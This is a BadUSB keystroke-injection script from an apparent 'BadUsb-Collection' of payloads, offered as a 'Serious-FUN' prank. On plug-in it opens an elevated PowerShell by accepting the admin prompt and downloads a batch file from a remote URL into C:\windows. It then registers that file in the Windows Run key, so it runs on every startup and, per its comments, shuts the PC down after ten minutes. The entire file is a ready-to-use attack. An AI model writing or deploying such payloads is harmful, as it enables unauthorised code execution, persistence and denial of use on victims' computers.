■ ■ ■ ■ ■ ■
BadUsb-Collection/MoreSeriousFUN/ShutDownFun.txt
| 1 | + | REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) |
| 2 | + | REM Description: Creates a batch file that will run on startup and shutdown the pc after 10 minutes |
| 3 | + | REM Version: 1.0 |
| 4 | + | REM Category: Serious-FUN |
| 5 | + | DELAY 750 |
| 6 | + | WINDOWS d |
| 7 | + | DELAY 950 |
| 8 | + | WINDOWS r |
| 9 | + | DELAY 650 |
| 10 | + | STRING powershell Start-Process powershell -Verb runAs |
| 11 | + | ENTER |
| 12 | + | DELAY 750 |
| 13 | + | LEFTARROW |
| 14 | + | ENTER |
| 15 | + | DELAY 850 |
| 16 | + | ALT y |
| 17 | + | DELAY 1200 |
| 18 | + | STRING $url = "https://github.com/UNC0V3R3D/ressources/blob/main/shutdown.bat"; $output = "C:\windows\927356239523.bat"; Invoke-WebRequest -Uri $url -OutFile $output; |
| 19 | + | DELAY 400 |
| 20 | + | ENTER |
| 21 | + | DELAY 600 |
| 22 | + | STRING New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "927356239523" ` -Value "C:\windows\927356239523.bat" |
| 23 | + | DELAY 400 |
| 24 | + | ENTER |
| 25 | + | exit |